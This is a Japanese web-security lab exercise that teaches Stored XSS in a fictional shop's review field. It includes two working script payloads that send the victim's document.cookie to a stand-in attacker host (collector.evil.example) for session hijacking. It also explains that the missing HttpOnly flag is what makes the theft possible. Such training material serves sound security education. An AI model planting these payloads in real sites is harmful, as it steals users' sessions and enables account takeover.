Lab 02 と同じ うつろい EC の商品レビュー欄(Stored XSS 脆弱性)。今回は alert ではなく、被害者のセッション Cookie を攻撃者サーバへ送信する完全な攻撃シナリオを構築します。
被害者の Cookie は session=victim_session_abc123_secret_token; user=victim_user。これを攻撃者の管理するサーバ(collector.evil.example)に送れれば、攻撃者は被害者になりすまして うつろい EC にログインできます。
レビューにペイロードを投稿し、被害者ビューで document.cookie を取得して攻撃者サーバ(右下のログ画面)に送信させてください。
<script>
// 1. 被害者の Cookie を取得
const stolen = document.cookie;
// 2. 攻撃者サーバへ送信(クエリパラメータに乗せる)
fetch('https://collector.evil.example/log?c=' + encodeURIComponent(stolen));
</script>
被害者がこのレビューを含む商品ページを開いた瞬間、ブラウザは攻撃者サーバへリクエストを送信。Cookie がクエリパラメータとして攻撃者の手元に届きます。
// うつろい EC の Cookie は HttpOnly が付いていない Set-Cookie: session=victim_session_abc123_secret_token // ↑ HttpOnly 属性なし → JavaScript からアクセス可能
Cookie に HttpOnly 属性が付いていれば、JavaScript からは document.cookie でアクセスできません。本ラボの実装では HttpOnly が付いていないため、XSS で簡単に窃取されます。
このラボの目的は「攻撃が成立した目印」を出すことではなく、実際に Cookie を盗み出すこと。fetch() や new Image()(img.src 経由)で攻撃者サーバへリクエストを送ります。
レビュー本文に直接 <script> タグを書けます(Stored XSS なので Lab 02 と同じ)。中身に Cookie を盗む JS を書きましょう。
レビュー本文:
<script>fetch('https://collector.evil.example/?c='+document.cookie)</script>
これを攻撃者ビューで投稿すると、両方の iframe にレビューが反映され、被害者ビューでも JavaScript が実行されて、被害者の Cookie が「攻撃者サーバ」(下のログ画面で模擬)に送信されます。
実際の攻撃では、攻撃者は受信した Cookie をブラウザの開発者ツール等で自分のブラウザに設定し、被害者として うつろい EC にログイン可能。これがいわゆる「セッションハイジャック」。